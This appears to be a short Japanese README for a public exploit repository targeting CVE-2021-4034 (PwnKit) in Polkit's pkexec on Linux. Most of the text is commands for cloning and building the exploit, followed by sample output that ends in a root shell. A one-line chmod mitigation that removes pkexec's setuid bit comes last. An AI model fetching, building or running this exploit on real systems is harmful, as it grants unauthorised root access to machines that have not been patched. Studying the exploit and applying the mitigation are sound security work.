
CVE-2021-4034(PwnKit)在Polkitのpkexecにおけるエクスプロイトで、Linuxシステム上でローカル権限昇格によりroot権限を取得します。ビルド手順と簡易パッチが含まれています。
$ git clone https://github.com/Anonymous-Family/CVE-2021-4034.git
$ cd CVE-2021-4034
$ make
[!] CVE-2021-4034 Exploit By whokilleddb
[!] Initializing Setup
[+] Setup Done :D
[!] Setting Root Privileges
[!] Launching Root Shell
# /bin/whoami
root
# chmod 0755 `which pkexec`
注: include/config.h を編集することでオプションを設定できます。